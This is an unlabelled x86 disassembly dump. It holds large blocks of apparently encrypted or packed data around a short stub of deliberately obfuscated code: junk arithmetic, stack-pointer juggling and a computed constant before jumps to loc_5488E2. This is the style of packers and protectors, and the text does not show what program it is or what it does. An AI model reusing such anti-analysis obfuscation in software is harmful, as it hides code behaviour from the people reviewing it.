		jmp	loc_5488E2
; ---------------------------------------------------------------------------
		dd 0E1F5838Bh, 0F2B834FCh, 305F1BEh, 55E0FFC5h,	7B1E17E4h
		dd 0E8198D63h, 0AE221F22h, 0B7161D5Fh, 0AA2F1734h, 4E049354h
		dd 0FE4E41B9h, 0DE6A349Dh, 24AF0ADh, 0A027C111h, 0F25C645Fh
		dd 0E565B3EBh, 4415A42Ah, 0A335AC8Ch, 89150F26h, 9007B3CBh
		dd 5A7781A4h, 0FF0EA6B3h, 0FA06B8F8h, 2749A02Ch, 0EB0A01C0h
		dd 92A4B404h, 569E969h,	54840000h, 0CA0DF7A3h, 56857F2Bh
		dd 0C809F3A7h, 53877D29h, 0D352F4A0h, 0A8FC9FD3h, 2B7F1C52h
		dd 0A8FCA3D1h, 2A7E1B52h, 0CCA01280h, 3F1D4825h, 0E86D1AB3h
		dd 6BEFE549h, 0EF669CC8h, 0A2D21C42h, 9E3D51FDh, 10C1343Eh
		dd 0FA41B6BCh, 76BC774h, 6711EB59h, 0FC641756h,	0CD00CE90h
		dd 66D8AC1Eh, 0B32B1756h, 0BC1F73DFh, 0EB19131Ch, 0DC8829ACh
		dd 5F01B626h, 1EBD5C91h, 0B426E846h, 11EB5907h,	64175667h
		dd 1B595FFCh, 8CC2C864h, 6AA4989h, 0FAAA066Ah, 51831844h
		dd 69DB8AC8h, 17566793h, 7E127EE6h, 34A842Ah, 7AF3F556h
		dd 320573DFh, 0C0175667h, 7D0B5282h, 89340E39h,	6Bh, 49E86DD0h
		dd 669F93E5h, 0E9AB1756h, 3886727Bh, 14FD340Eh,	0DC5F8D72h
		dd 0AC133E63h, 2311175Fh, 1035AF9h, 5A000000h, 0E74BEA6Dh
		dd 67CB6AEDh, 81BBD039h, 0BC902C06h, 3B9744B6h,	7FF2F457h
		dd 7B717ED2h, 983DB209h, 16C708C6h, 19FBD6BAh, 0FA23F04Bh
		dd 0EE144CEFh, 724AF867h, 0C5175688h, 0CB65315Dh, 8C20D705h
		dd 6DE643E0h, 0E8E24EEDh, 0B21AB667h, 0C70B90FCh, 66A09426h
		dd 8B131756h, 0C3AF4E81h, 49E86D97h, 0C96CEFE5h, 0AE471965h
		dd 459D893Ch, 0BFB507F4h, 3217570Ah, 2765C6AAh,	0E2D0A8B5h
		dd 7C3C340Eh, 65000000h, 104EED6Dh, 52FE9BDEh, 373D9D3Eh
		dd 0B2BD11C4h, 5CE141A8h, 62F98648h, 4A5183C1h,	0C53F6B08h
		dd 404AE695h, 0C6CC6011h, 404AE693h, 67CF6314h,	0E69ABB29h
		dd 0E52B3CA8h, 87CAC077h, 670149EAh, 97340E6Fh,	4Fh, 11A339CEh
		dd 1756671Bh, 5355F66Eh, 0DAD07C1Fh, 21BBE59Ah,	56669993h
		dd 0BF5E9117h, 90087F13h, 0E9B79333h, 0C081687Bh, 76E6EB94h
		dd 2DADAB08h, 6D83DA8Eh, 0EAD2DEAh, 0EA2CEA2h, 56678778h
		dd 8FFDBF17h, 0E39B246h, 1C234h, 6D9B0000h, 1B8B0EEEh
		dd 9B8DF322h, 1C515BF7h, 3F81D17Dh, 0E88DCECDh,	0EEFB12BCh
		dd 0CB82612Fh, 7B8E8B28h, 694EFCA2h, 0DC12BC56h, 0EC68AB22h
		dd 154B274Bh, 48E497DBh, 2D278724h, 0A75D09A8h,	592F832Eh
		dd 116C5469h, 8A2CC58Bh, 7841671Fh, 0C513E95Bh,	0FE66116Bh
		dd 867ECC92h, 0F9116BC5h, 5480C261h, 37630E47h,	45E988CDh
		dd 356B064Fh, 69C578FBh, 0AE06A605h, 0AE2774E0h, 15E35703h
		dd 612E2397h, 184h, 421B6E38h, 7439AE1Ch, 7FE512BCh, 515D57E5h
		dd 48D0116Ch, 6C51463Eh, 2750E311h, 0DE1C343Bh,	6D4570A9h
		dd 83BA6FCCh, 0C170E5EFh, 2D811962h, 0AB31AE27h, 6C1A2319h
		dd 780E9611h, 116C1A84h, 57036FF7h, 258928ADh, 0EF6DA62Fh
		dd 0E07A2448h, 6C1A5A52h, 0DA74AD11h, 0D2BFA7E9h, 2080234Fh
		dd 23FD688h, 605F5B8h, 5FF39ED3h, 22555F33h, 10B3DF73h
		dd 0FC12252h, 0D4B814C7h, 43AEC8F9h, 0E14208B8h, 97C36EE7h
		dd 237A5523h, 77A12Eh, 0C10F0000h, 0E742E190h, 104E276Eh
		dd 5666FAA2h, 0CC7EE417h, 175665F8h, 6512BF36h,	0BD255EFDh
		dd 668D6711h, 5F9D1756h, 0DC1E14B8h, 65C5BF0Dh,	0A0381756h
		dd 8E3060CCh, 0D7953F5Eh, 6AD842A5h, 17566692h,	0DBDE7DE5h
		dd 1FADF3DAh, 17566655h, 8F8CCF01h, 54389447h, 5BF89438h
		dd 44388A20h, 0B7175666h, 24B3022Fh, 48A8401Ah,	10DE7024h
		dd 4E9330E1h, 7Ch, 421B6E17h, 455DAE1Ch, 6E9012BCh, 8E224EEBh
		dd 39DE1ED0h, 0B8599C9Ah, 94D40FE6h, 0E3EC75E7h, 0C60CC6Fh
		dd 619BC360h, 97E14DECh, 116C4366h, 0FBEC1846h,	42D9D361h
		dd 0B42C116Ch, 3DDC1117h, 0BC899069h, 0B64050E2h, 0DF30CBDh
		dd 0E94529C8h, 5AF979B7h, 3F399AF6h, 0E7B71BB6h, 1A6F2B59h
		dd 0B9AF1D43h, 4C06CBF5h, 7DFE3DB2h, 741874D8h,	8CD8B4D8h
		dd 0CC6DEC22h, 0AAF0C60h, 0B3241B6Eh, 0AEC2AE02h, 42F06AF0h
		dd 1756676Ah, 393345DDh, 8C175667h, 7FE5B714h, 3F9342B1h
		dd 80267E53h, 79E59197h, 95B0A0DAh, 0DB4312A8h,	3FF87D77h
		dd 0DAB61ABDh, 0A54CE2B6h, 4C2AD2C7h, 4147E4A0h, 0B7C16D0Ch
		dd 75439FD6h, 5665979Dh, 31E2141Fh, 0C99DF19Dh,	0B31FBA33h
		dd 0C79938B9h, 0B814CB09h, 0E499DED4h, 9B7E747h, 9E99DCDBh
		dd 47B5BF5Ch, 3C503C90h, 0FF5B9268h, 0CFA757D4h, 6D335FD0h
		dd 0DAB4F784h, 96D96770h, 3517C8Dh, 0E3510F6Eh,	0A501E809h
		dd 0E747E47Ch, 336h, 0A5086F00h, 9834EB6Dh, 12BE5B92h
		dd 973BDC18h, 16BA599Dh, 913DDE1Ch, 8A4579Bh, 8E22CF02h
		dd 0AA65784h, 822ECF00h
		db 0E9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	18C2h
		mov	[esp], edi
		push	edi
		mov	edi, 1DA6323Ah
		and	edi, 4727422Ch
		shr	edi, 4
		not	edi
		sub	edi, 1
		sub	edi, 70907132h
		xor	edi, 8AEC9143h
		mov	ecx, edi
		pop	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, ecx
		push	ebx
		mov	ebx, esi
		mov	[edi+8], ebx
		pop	ebx
		pop	esi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5488E2
; ---------------------------------------------------------------------------
		db 0F3h
		dd 0B82914F6h, 5F1C4BCh, 0E0FFC503h, 78E098A2h,	5CA8924Dh
		dd 66523A3Ah, 626660C7h, 1FFE3F11h, 6EAFC10Dh, 77D7CE8Eh
		dd 69385576h, 6A1730EBh, 18A1B5AFh, 403EC422h, 4C54653Ah
		dd 405701A6h, 508A670Ch, 1033B16Ch, 2994B449h, 0C6728D8Dh
		dd 6A05F1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0BD49E1C3h, 0C2FFB29Ah, 8529A76Ch, 5EA05DDh
		dd 0ADD8D89h, 860F05EAh, 0Dh, 0B3EFBB60h, 820F06B8h, 0
		dd 0CD85C761h, 0E405EA0Ah, 6A000059h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0DEF9C356h
		dd 8571BBEBh, 85C77B6Bh, 5EA25F5h, 0
		dd 2361B58Bh, 12E905EAh, 5A000000h, 2736CAEAh, 3203F91Bh
		dd 36E96AE0h, 12C25D84h, 0BDB5FF35h, 6A05EA2Ch,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 5AD0C357h, 0F8ACC2BFh, 2A1995FFh, 0B58B05EAh, 5EA0E99h
		dd 95FF006Ah, 5EA1015h,	18EBC08Bh, 2164DFD8h, 15C0EFEAh
		dd 66CD7F3Ah, 468421F6h, 0F0404683h, 48013E21h,	0C7A58D8Dh
		dd 6A05F1h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 800F4AC3h, 6, 24A1B589h, 0CBB405EAh, 0ADD8D89h
		dd 6A05EAh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0E95E7FC3h, 14h, 199376E6h, 0ABC20CFCh, 0A0759392h
		dd 0BB81C1AFh, 0AACED18Dh, 0ACD85C7h, 67F805EAh, 8D890000h
		dd 5EA0BB9h, 25F585C7h,	5EAh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0B0E8DDC3h
		dd 29D0FA7Eh, 0EA0D098Dh, 12E905h, 4DA60000h, 0FED92876h
		dd 0DB02D37h, 7EF37237h, 1B705CDBh, 0CFDBD33h, 0B5FF05EAh
		dd 5EA0BFDh, 0AE8h, 0F2C7D500h,	6A737492h, 0BFC6CA1Ah
		dd 54A5A13Bh, 1995FF5Fh, 6A05EA2Ah, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 6643C357h
		dd 0B529851Ch, 6A17A6E7h, 1595FF00h, 8B05EA10h,	2E78EBC0h
		dd 0DDB169D1h, 0DE8E253Eh, 0FB623912h, 6712B7Dh, 0C16D20Fh
		dd 1D4B467Ch, 41274C56h, 20D9D2B8h, 979F3011h, 0C4F623B1h
		dd 198615B4h, 4E9F1129h, 0AA42D399h, 0B28C7AABh, 5F363211h
		dd 70B4A164h, 0C70F21C3h, 7BF104ECh, 0E5B83A74h, 5F971D92h
		dd 4F29FF1Fh, 12A63857h, 0F30C3B51h, 61B2BC50h,	0E2065AD1h
		dd 8DCFA161h, 5599F81Dh, 3D193232h, 0CCC16018h,	0E8BA78CAh
		dd 0Fh,	0C02CDD7Fh, 3DC445A8h, 0B13CBE55h, 0F4C15DAh, 688h
		dd 7D858900h, 5905EA31h, 8075BE66h, 6E57C181h, 95890000h
		dd 5EA13DDh, 0BFh, 259D8900h, 8B05EA1Eh, 0B8663914h, 0EA816BFCh
		dd 203B58E8h, 6850Fh, 0F0810000h, 86D906Fh, 41B0C281h
		dd 0D681377Ah, 70058507h, 377EF281h, 6660326Bh,	0BD20E181h
		dd 39148961h, 14E9h, 4479D500h,	2E935D47h, 0BAA86F79h
		dd 0EB6D19C2h, 8EB5E6FCh, 1EF832Eh, 78E0Fh, 66510000h
		dd 0B98DD681h, 4F4F4F5Eh, 0DEE08166h, 50FF81F1h, 0FFFFF92h
		dd 0FFFF8E85h, 8B76B3FFh, 0C0h,	185h dup(0)
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0EC35242h
		dd 0E646412Dh, 0FE9h, 0D33E6300h, 0C4E4F2B9h, 0B66D5272h
		dd 0AA0DF537h, 5E9h, 36257600h,	14E99928h, 70000000h, 899DCD94h
		dd 0ECB47DDAh, 6F69B703h, 2DA69D58h, 9D87FEA9h,	666061F8h
		dd 609264BFh, 76FE54BAh, 0F78B6636h, 6A5D6161h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0AD40C355h, 13571085h, 14E9FCh, 6B000000h, 30EFDA33h
		dd 1837832Dh, 315FB7Ah,	0CF39A92Eh, 4401EF15h, 66600824h
		dd 5861C68Bh, 66D78B60h, 615C76BAh, 6AC39Dh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0C6A5FCC3h
		dd 47523CB1h, 6A8C4Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 1B6857C3h, 1F0DA8D8h, 0E9C08B5Dh
		dd 9, 25F0048Dh, 53FF100h, 0D08166B9h, 5E9B83Fh, 0A0000000h
		dd 0A0A0A0A0h, 815AC880h, 8DDE9EE3h, 1DCF8153h,	6665A279h
		dd 60BD8FBFh, 2AB2BA66h, 5860Fh, 81660000h, 610CF3E9h
		dd 0F1E68166h, 45B151FBh, 8C0FF55Eh, 5,	0E5B764BEh, 0FABF0F06h
		dd 0F0BF0F60h, 12E9h, 0C759C500h, 59949C46h, 0E10A15D0h
		dd 561CA90Bh, 61F4D7CDh, 0DEB70F60h, 8B86661h, 0BE950F5h
		dd 0D6000000h, 217D8966h, 0AFAD7241h, 665849F4h, 8970D181h
		dd 5FC98166h, 0C1B70FF1h, 0EE9h, 24734E00h, 0CCB2C91Dh
		dd 910F1B0Dh, 0F8DB7B7h, 48Dh, 6B96600h, 4EBA509Dh, 5813906Eh
		dd 8F0Fh, 0CE80000h, 0A1000000h, 89F46FB5h, 0FAFAC8C3h
		dd 0E9B7BD14h, 10h, 0EAFEC251h,	8486D6B6h, 0F397C1ADh
		dd 63FDF98Dh, 16BFF95Eh, 6645A1DAh, 0DCB0F98Bh,	66D18B66h
		dd 2FFBE781h, 80D0B70Fh, 8B663ECDh, 5800FD3h, 0B9000000h
		dd 1C108273h, 0B9C28BF5h, 3B214F24h, 0CE9h, 66EB3F00h
		dd 8CD936F4h, 429F355Bh, 3860F7Eh, 80000000h, 0CC8075E6h
		dd 0F98B6698h, 0FCF9DBB7h, 0F08BCB8Bh, 3DE9E5BBh, 2BA6667h
		dd 0C28B663Ch, 56A9BE66h, 80FFBF0Fh, 0E9F51DEFh, 8, 59572685h
		dd 39FAD101h, 14E9h, 27AB5D00h,	9D123A36h, 1D770E8h, 2CAAEDA7h
		dd 44DB8667h, 816660C9h, 50B782D2h, 0D0AFBE66h,	5E8615Ah
		dd 0F4000000h, 0BA858FB8h, 665E5158h, 8160F18Bh, 99A266C0h
		dd 2334BE3Ah, 0F615BD7h, 8166CABFh, 0E8A2D7E8h,	0Dh, 0E478C43Ah
		dd 0E352E0CAh, 99AB9F54h, 7E86016h, 1D000000h, 835DB707h
		dd 61592767h, 3880F5Bh,	66000000h, 0E953F18Bh, 11h, 70CEF703h
		dd 0DC1EE7DDh, 32A81717h, 0F1A05727h, 0E1815EDFh, 57E44D8Eh
		dd 14870Fh, 0EE80000h, 5E000000h, 0E3136E25h, 0A1F4C767h
		dd 23A1ADE4h, 10E95866h, 90000000h, 23D44D6Ch, 9F1B7DABh
		dd 651462E8h, 664A9885h, 0B70FFB8Bh, 0D3D380C2h, 4820Fh
		dd 0BF660000h, 8B669A30h, 7E9C2h, 3C530000h, 0FC5B7574h
		dd 0F9E881F6h, 50601532h, 61EF8A60h, 60CA8A59h,	88FBEF81h
		dd 0E861190Ch, 0Ah, 412D0E50h, 37AFE646h, 8F0F10A4h, 1
		dd 0EC8A5FF8h, 5097D580h, 870F58F5h, 5,	34719CB9h, 7E926h
		dd 0B0720000h, 0EF85B2F8h, 0FE875h, 0C1080000h,	0ECD13B24h
		dd 4DBEF46Eh, 1C6643FEh, 14E985h, 35CB0000h, 3FBC8B0Fh
		dd 55E30926h, 0C59C4DC4h, 8161C232h, 665EE85Bh,	8D23EB81h
		dd 8E9h, 12958100h, 7CF8BAFEh, 0BF665632h, 665F17ABh, 1370CA81h
		dd 0F551DA8Bh, 6614B55Fh, 0BBC5F181h, 4EE38156h, 5E7CFA02h
		dd 5E95B866h, 28F0Fh, 52B50000h, 5880Fh, 81660000h, 0F4186E7h
		dd 288h, 66E18A00h, 13E8D68Bh, 0C6000000h, 0D31BF1A4h
		dd 0A9208144h, 0D4E958EBh, 9B8DB5AFh, 7E9DDFDh,	0F2000000h
		dd 7888522Fh, 0E95F85E8h, 6, 765EA833h,	8A0FEB3Bh, 0Ch
		dd 68D0Fh, 870F0000h, 0
		dd 6880F60h, 0F000000h,	83h, 28D0F00h, 60000000h, 0BF666161h
		dd 8E88FA1h, 7A000000h,	7D0B75A4h, 0E90699BBh, 10h, 3E19F5ABh
		dd 0E5D2CC49h, 4910B764h, 0EE55C9Eh, 9B6F858h, 51F18B66h
		dd 13E850h, 10BB0000h, 8AA4E1CDh, 0F8FBBF09h, 405679D7h
		dd 922D9960h, 5A5F5E95h, 0BEC2BF0Fh, 35C08EC9h,	58F0Fh
		dd 0D6BB0000h, 0E903E1A2h, 13h,	186DF473h, 6D252770h, 0ED84467Fh
		dd 5DA15F59h, 0B6D4E15Dh, 12E9B9h, 0A3D40000h, 1BB4559h
		dd 85EB34A3h, 86FF56CEh, 630F9D23h, 80FBB70Fh, 8B6633DDh
		dd 0BE9D7h, 0E7740000h,	746AAD0Fh, 2510238Bh, 0E368BE60h
		dd 0E9604567h, 11h, 3ADDD55Bh, 0F1E07FF7h, 5FB5111Fh, 0B4BCD2EDh
		dd 14E9606Dh, 0AB000000h, 6DE5AB9h, 0B10A45AEh,	0D0077038h
		dd 70290673h, 51EA0FAEh, 0E861615Bh, 5,	9A60EBD1h, 0F2816607h
		dd 57589B19h, 28E0Fh, 0F38B0000h, 0F2BF0F58h, 13E9h, 0E2AD3700h
		dd 0B50245F6h, 8A98C502h, 0E5C804A5h, 855C3EE2h, 8BFFB70Fh
		dd 13E9CFh, 70A70000h, 3108CA7Ch, 1C8F597Dh, 4B48635Ch
		dd 0D89017CFh, 0F65B287h, 8E9CEBFh, 92000000h, 0DB2F0DBh
		dd 660739B1h, 9D22D281h, 2860Fh, 59500000h, 62C78150h
		dd 5B5A0708h, 17810Fh, 870F0000h, 11h, 0CE9h, 0FF04C200h
		dd 57DF4164h, 0D2E82F48h, 8B665269h, 0CB815ECAh, 44A9C2FCh
		dd 0BE9h, 94AB6C00h, 0A47C0A5Eh, 7C932BC7h, 28B0Fh, 7B50000h
		dd 0C28BF38Bh, 0EE8h, 6BDCB200h, 0D3C5DF3Fh, 0EA5EF4CEh
		dd 0BBDB9416h, 9602446h, 58F0F5Ah, 0BB000000h, 5E1997CDh
		dd 0F6816651h, 815F474Ch, 9B24DEDAh, 0F18B664Bh, 0BA19A0B8h
		dd 8E83Fh, 41300000h, 0BA7177F3h, 8B5FD541h, 0C68166C3h
		dd 0BB66AC7Bh, 0AE93C9Eh, 0E5000000h, 0FFFED19Dh, 0CD9A26BEh
		dd 0DA816653h, 0EE9C6ECh, 75000000h, 5A7F51EEh,	0E3E1F264h
		dd 54EECEEDh, 13E978h, 5840000h, 73223E50h, 467390D8h
		dd 206D6CB0h, 10F5B025h, 99ED80A7h, 3EDA81FCh, 66427730h
		dd 7476C681h, 6616F080h, 0F95336BEh, 0CE9h, 37A02D00h
		dd 617F7EAFh, 11048C94h, 0C1B70FACh, 644AC081h,	0B96606B7h
		dd 850F7D20h, 0Dh, 34C38160h, 0B94AA2A5h, 433B6AADh, 0BBF78B61h
		dd 28BDC7B1h, 6E9h, 0BEF7F300h,	0F53244EEh, 830FC88Ah
		dd 2, 0B45785B0h, 81665939h, 0F9879E0h,	840FD1B7h, 0Bh
		dd 58C0Fh, 26B80000h, 0E800D58Dh, 7, 8CAC8886h,	0E852735Ch
		dd 13h,	0F4CF924Fh, 982A6629h, 0E2242229h, 0CB209C7h, 0E83083D8h
		dd 0Bh,	0E54E7318h, 0A14268E8h,	5B42106Ah, 66F9585Eh, 0B65FC881h
		dd 66F0B70Fh, 8B66CB8Bh, 11E8F9h, 0EC1A0000h, 0F2FA90E9h
		dd 0A6E544A7h, 0F75CF0E5h, 66A71181h, 0C39D381h, 0F3BF665Eh
		dd 0FC68B8Bh, 0DE8F9B7h, 47000000h, 0BCB3BF91h,	8555EA87h
		dd 4849D208h, 7581BA66h, 0C6BF0F5Eh, 0C8D0Fh, 8E0F0000h
		dd 6, 0B3FCDA81h, 0BB661B87h, 820F33C7h, 0
		dd 0CE8h, 8CCAE800h, 0D94EDFE2h, 5DF728B4h, 0FE943h, 11C90000h
		dd 0BB0FE53Fh, 81227403h, 0A54F4796h, 8B665FF7h, 15830FCEh
		dd 60000000h, 0CE9h, 30907F00h,	0D66B7504h, 5F011FE1h
		dd 61616059h, 0FD3B70Fh, 0D8Fh,	6E800h,	48510000h, 0DD810B19h
		dd 8E0F5BF9h, 8, 2870Fh, 0C38B0000h, 0CAB70F60h, 10E9h
		dd 0F404B00h, 0EB1C8CECh, 9BF6500Dh, 3C8384CCh,	5E96104h
		dd 43000000h, 141319C0h, 0CE9h,	91402D00h, 0B2A3D782h
		dd 0D433AD8Eh, 27E580F9h, 8B66F28Bh, 67C181C6h,	0BF3631D4h
		dd 31B3A8Eh, 8151C88Bh,	0D853EFF6h, 0EE95F77h, 5D000000h
		dd 26B7CA75h, 49099CB1h, 0AC047915h, 0DE8BFCC8h, 80DE8B66h
		dd 8B0F1DC5h, 3, 0FC8B70Fh, 0D480CBB7h,	870F53B0h, 5, 0E2C08166h
		dd 8BF55A71h, 0AFB851C2h, 5F6739CCh, 6650FC60h,	0A8E2DA81h
		dd 0FE96158h, 58000000h, 0F281665Eh, 6BD1809Ch,	6EE34C52h
		dd 8B603561h, 7E8C7h, 0C9C90000h, 5711D1A6h, 5A61601Ah
		dd 0A0BA6661h, 8B50532Eh, 0F5858C7h, 8Dh, 8B57FC00h, 2BB159D0h
		dd 0CE9h, 24CD2500h, 0AAD64287h, 0B6296467h, 8B66560Bh
		dd 880F5AC1h, 0
		dd 0C28B49B6h, 8D0FD88Bh, 1Eh, 18890Fh,	12E80000h, 65000000h
		dd 1DFD5BD4h, 0F5C62168h, 8C937BD6h, 24CE0375h,	0EA8A580Eh
		dd 8B6060B6h, 0E95061F7h, 5, 3E91644Fh,	830F5B71h, 0
		dd 28E0Fh, 25B10000h, 10E8D78Ah, 6000000h, 92383331h, 933F8FF2h
		dd 0DBCC130h, 0E9C3BA8Bh, 0Dh, 8663F27Eh, 0E46218CFh, 0F8B25D74h
		dd 8E95B84h, 0BE000000h, 209A1BB2h, 0FB151C8h, 289h, 50CE8A00h
		dd 11E8h, 2E4C2F00h, 5EC6687Ch,	0B2420B04h, 49E29EB7h
		dd 11E85838h, 18000000h, 0BC9F0F89h, 91703273h,	0A2121192h
		dd 0DDA5DD8Eh, 515B5958h, 7FF3BB66h, 11E859h, 6B610000h
		dd 64F23982h, 0D72CBA0Ah, 7E7D34DDh, 0FD6573Dh,	68Ah, 890F00h
		dd 5E000000h, 0EE816652h, 0F95A7112h, 0DE8h, 5965F00h
		dd 9F8AEA9Ah, 4F37C041h, 0DE83095h, 0E4000000h,	0A77F94EAh
		dd 4B61AC4Bh, 0BFCB9996h, 5F5B6160h, 14E9F9h, 61BF0000h
		dd 67261554h, 737D13D0h, 87A9F9Dh, 0D13B24C1h, 0ED806EECh
		dd 6638B490h, 34F2CA81h, 0FF6BF0Fh, 0C8BAFBB7h,	0B259C182h
		dd 0BE6060B4h, 10DCC895h, 0F61DE8Bh, 18Fh, 0F61F800h, 6E9FFBFh
		dd 0AF000000h, 9193CE38h, 0C0816673h, 0D98AA7F1h, 5EDFB651h
		dd 0FE8h, 0BD8C400h, 306AC1D6h,	34D9CE5Eh, 233FDF19h, 58D08B66h
		dd 4CEB81h, 81F8521Eh, 0DEE3FBF6h, 0D88B667Fh, 2279E281h
		dd 81664A4Ch, 8B0A76C0h, 850FF8C3h, 3, 0B0C6BF0Fh, 6060F5C1h
		dd 8B666160h, 0BF0F61D3h, 0DF8161F2h, 22691649h, 9EDA8166h
		dd 77CE81F2h, 5173E3BAh, 6860Fh, 8E0F0000h, 0
		dd 0D7BF0F5Ah, 66D08B66h, 804A9FB8h, 0D6804DD6h, 0C1BF0FC7h
		dd 842CBA56h, 0F5F6E74h, 0A80h,	5E900h,	75FC0000h, 66C46BF3h
		dd 0BF755DBAh, 0C7337D7h, 10E85A51h, 94000000h,	0A46258DEh
		dd 88E1491Dh, 0E6B1B0A1h, 60238E10h, 5A616160h,	850EB866h
		dd 0DBD2CBBEh, 11E968h,	83C90000h, 0EA2B20B3h, 0A44CADD1h
		dd 752945D7h, 0F40BBFEh, 385h, 26ED8000h, 9E851h, 0F5DC0000h
		dd 159A5EA4h, 0E96F578Ch, 10h, 72F737F8h, 0E26B01B3h, 0DD65DC54h
		dd 0C5F36FCAh, 8B665F5Bh, 0FE8FBh, 0EBE60000h, 17CE747Fh
		dd 9CB5BC89h, 841D01EDh, 0FAC781B2h, 5B3B563Bh,	6668EA80h
		dd 880FCB8Bh, 5, 56F38166h, 18B0FB5h, 0F5000000h, 0AE8h
		dd 0BF795E00h, 223AE6EBh, 66F33557h, 5AACFDB9h,	56B3B866h
		dd 7D4CDA81h, 0FFC0CE0h, 280h, 0FFB8B00h, 289h,	81A9B700h
		dd 3974BEEBh, 7FBB662Ch, 67BF667Bh, 89E680DDh, 0BE951h
		dd 73A30000h, 36B68AEBh, 79C8D8BBh, 66F85EF1h, 8166D68Bh
		dd 0F84B8EBh, 582h, 0F1816600h,	81660A1Bh, 0F7D64C7h, 68Fh
		dd 0BE665300h, 0F58CC89h, 687h,	0BEC28100h, 0E9416B06h
		dd 0Ch,	0DA37E577h, 516A38DBh, 0FB4F9DE3h, 0F60BAB4h, 198Ah
		dd 14E900h, 79260000h, 0E72A8FB7h, 4F0CD715h, 5646B110h
		dd 0AC51FDC7h, 890F9A87h, 3, 6196C680h,	0E9C3B70Fh, 12h
		dd 7B63FDF9h, 236BFEEh,	14DF0888h, 97C200C0h, 0D98B8FFAh
		dd 0E3BA6660h, 0D68B6607h, 0EABE6661h, 0F98BF567h, 840FE88Ah
		dd 3, 0FDFB70Fh, 0E83h,	6E800h,	0C99C0000h, 18C7FF3h, 0E85BC18Bh
		dd 6, 4FED4B2h,	0B8664CABh, 0B45FDF2Eh,	0B70F5002h, 2DB55AC9h
		dd 0FCA8B66h, 8166C0BFh, 8AD600C1h, 0B2CE81CFh,	52138FB9h
		dd 28E0Fh, 5F500000h, 850F5Ah, 0F5000000h, 0BE9h, 468CEE00h
		dd 9EB4575Bh, 0F1B362C1h, 0E9F78B66h, 8, 74666BE5h, 6AAD0FE7h
		dd 0EE8h, 9923A200h, 0B95EF55Eh, 2FB300D7h, 8B6762EDh
		dd 0EC8059FAh, 0C78BF96Eh, 4860Fh, 0BE660000h, 0BE9E9Bh
		dd 0F7D8B71h, 8E8C0B7h,	31000000h, 0C5D38AF6h, 0F9779B0Fh
		dd 5E95Ah, 2BC0000h, 51AE10C6h,	0BB59EFB1h, 2420B494h
		dd 5860Fh, 81660000h, 0B3A631F0h, 1870F1Fh, 0F8000000h
		dd 0BE9h, 67930400h, 6D41A2F7h,	0D30559E3h, 0E9A3CF80h
		dd 12h,	0D5D89E2Dh, 3EC741BCh, 2300E76Fh, 3878B837h, 14E9DF61h
		dd 0EE000000h, 35381C0Bh, 0A5CB8FDEh, 539721BBh, 1C870B3h
		dd 665374B2h, 11CFE981h, 2342E781h, 0F562E7Eh, 118Eh, 0BE800h
		dd 1D840000h, 4953D569h, 0AB18C8Fh, 0E95B5B65h,	5, 0ACF3A82Eh
		dd 0AE96049h, 82000000h, 0D95CA43h, 29243FCAh, 61D78B76h
		dd 1FC3B5BAh, 2850F4Eh,	8B000000h, 0CF8166C2h, 8F0F1570h
		dd 1Fh,	19880Fh, 14E90000h, 24000000h, 517CEDB9h, 85BB397Dh
		dd 7B79121Eh, 0C44DDC3Ch, 0BF869005h, 611AF951h, 4F91BB66h
		dd 0F18B6660h, 8161C18Bh, 953FB6CEh, 0D98B664Fh, 0FCB8B66h
		dd 1B83h, 11E800h, 51040000h, 4CC29FB5h, 69D8C273h, 0F5C9469Ah
		dd 6616B46Fh, 5F9F86BEh, 0BE9h,	0CF825900h, 0B9B5C3E4h
		dd 0AEF67D7Ch, 0FCF5B2B1h, 0BE8h, 0EAD87D00h, 9ADE86C0h
		dd 7D295D95h, 665950B1h, 8A0FF38Bh, 4, 84BEBB66h, 0DC23D081h
		dd 9E934E5h, 2D000000h,	0C1328A9Fh, 5BA30EAEh, 38D0Fh
		dd 0C8800000h, 0B6D88192h, 51643B1Bh, 665AD88Bh, 0E9BEFABFh
		dd 0Dh,	83DA0F1Eh, 94B9DD3Ah, 252D904h,	0AE98Ch, 0A95D0000h
		dd 62259A8Eh, 3DDE33AFh, 1DC38160h, 0F3962B5h, 1686h, 10E800h
		dd 14D30000h, 23C6A714h, 614E175Dh, 0EDBBA115h,	615B8876h
		dd 2957C281h, 5F5220B0h, 0C18B6650h, 0BBBE6658h, 4CBA6628h
		dd 8BF28B52h, 8E9CFh, 94520000h, 42DEBE67h, 11E89207h
		dd 0E3000000h, 53E41F5Eh, 56392Eh, 2C53E2F8h, 34CFD25Eh
		dd 6ACB8160h, 60048DE7h, 0E9586161h, 7,	45C40D17h, 815571F8h
		dd 0F2F3A3D0h, 0B70F5357h, 0E38A5EF6h, 8810Fh, 890F0000h
		dd 2, 0BB66E68Ah, 816051C3h, 0FD1AFDD2h, 18F0F53h, 0F5000000h
		dd 8B666061h, 13E9CBh, 7F510000h, 0E1F2645Ah, 0EECEEDE3h
